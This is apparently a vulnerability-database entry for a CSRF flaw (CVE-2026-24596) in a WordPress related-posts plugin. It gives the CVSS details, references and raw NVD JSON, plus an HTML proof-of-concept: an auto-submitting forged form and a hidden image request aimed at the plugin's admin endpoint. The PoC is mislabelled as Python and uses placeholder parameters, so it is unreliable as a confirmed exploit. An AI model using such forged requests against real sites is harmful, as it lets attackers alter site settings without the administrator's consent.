CVE-2026-24596

Description

Cross-Site Request Forgery (CSRF) vulnerability in marynixie Related Posts Thumbnails Plugin for WordPress related-posts-thumbnails allows Cross Site Request Forgery.This issue affects Related Posts Thumbnails Plugin for WordPress: from n/a through <= 4.3.2.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Related Posts Thumbnails Plugin <= 4.3.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2026-24596 -->
<!-- Related Posts Thumbnails Plugin CSRF Exploit -->
<!DOCTYPE html>
<html>
<head>
    <title>CSRF Attack PoC</title>
</head>
<body>
    <h1>CSRF PoC for Related Posts Thumbnails Plugin</h1>
    <p>This PoC demonstrates the CSRF vulnerability in the Related Posts Thumbnails WordPress plugin.</p>
    
    <!-- Auto-submit form targeting plugin admin functionality -->
    <form id="csrfForm" action="[TARGET_SITE]/wp-admin/admin-post.php" method="POST">
        <!-- Plugin-specific parameters -->
        <input type="hidden" name="action" value="related_posts_thumbnails_action">
        <input type="hidden" name="sub_action" value="update_settings">
        <!-- CSRF vulnerable parameters -->
        <input type="hidden" name="related_posts_thumbnails[option]" value="[malicious_value]">
        <input type="hidden" name="_wpnonce" value="">
    </form>
    
    <script>
        // Auto-submit after page loads
        document.getElementById('csrfForm').submit();
    </script>
    
    <noscript>
        <p>Click submit to execute CSRF attack:</p>
        <button type="submit">Submit</button>
    </noscript>
</body>
</html>

<!-- Alternative: Image-based CSRF trigger -->
<!-- <img src="[TARGET_SITE]/wp-admin/admin-post.php?action=related_posts_thumbnails_action&sub_action=update_settings&related_posts_thumbnails[option]=[value]" style="display:none"> -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-24596
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-24596
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-24596/
[4] VulDB https://vuldb.com/cve/CVE-2026-24596
[5] https://patchstack.com/database/Wordpress/Plugin/related-posts-thumbnails/vulnerability/wordpress-related-posts-thumbnails-plugin-for-wordpress-plugin-4-3-1-cross-site-request-forgery-csrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-24596", "sourceIdentifier": "[email protected]", "published": "2026-01-23T15:16:17.793", "lastModified": "2026-04-28T15:16:17.953", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in marynixie Related Posts Thumbnails Plugin for WordPress related-posts-thumbnails allows Cross Site Request Forgery.This issue affects Related Posts Thumbnails Plugin for WordPress: from n/a through <= 4.3.2."}, {"lang": "es", "value": "Vulnerabilidad de falsificación de petición en sitios cruzados (CSRF) en el plugin marynixie Related Posts Thumbnails para WordPress related-posts-thumbnails permite la falsificación de petición en sitios cruzados. Este problema afecta al plugin Related Posts Thumbnails para WordPress: desde n/a hasta <= 4.3.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/related-posts-thumbnails/vulnerability/wordpress-related-posts-thumbnails-plugin-for-wordpress-plugin-4-3-1-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}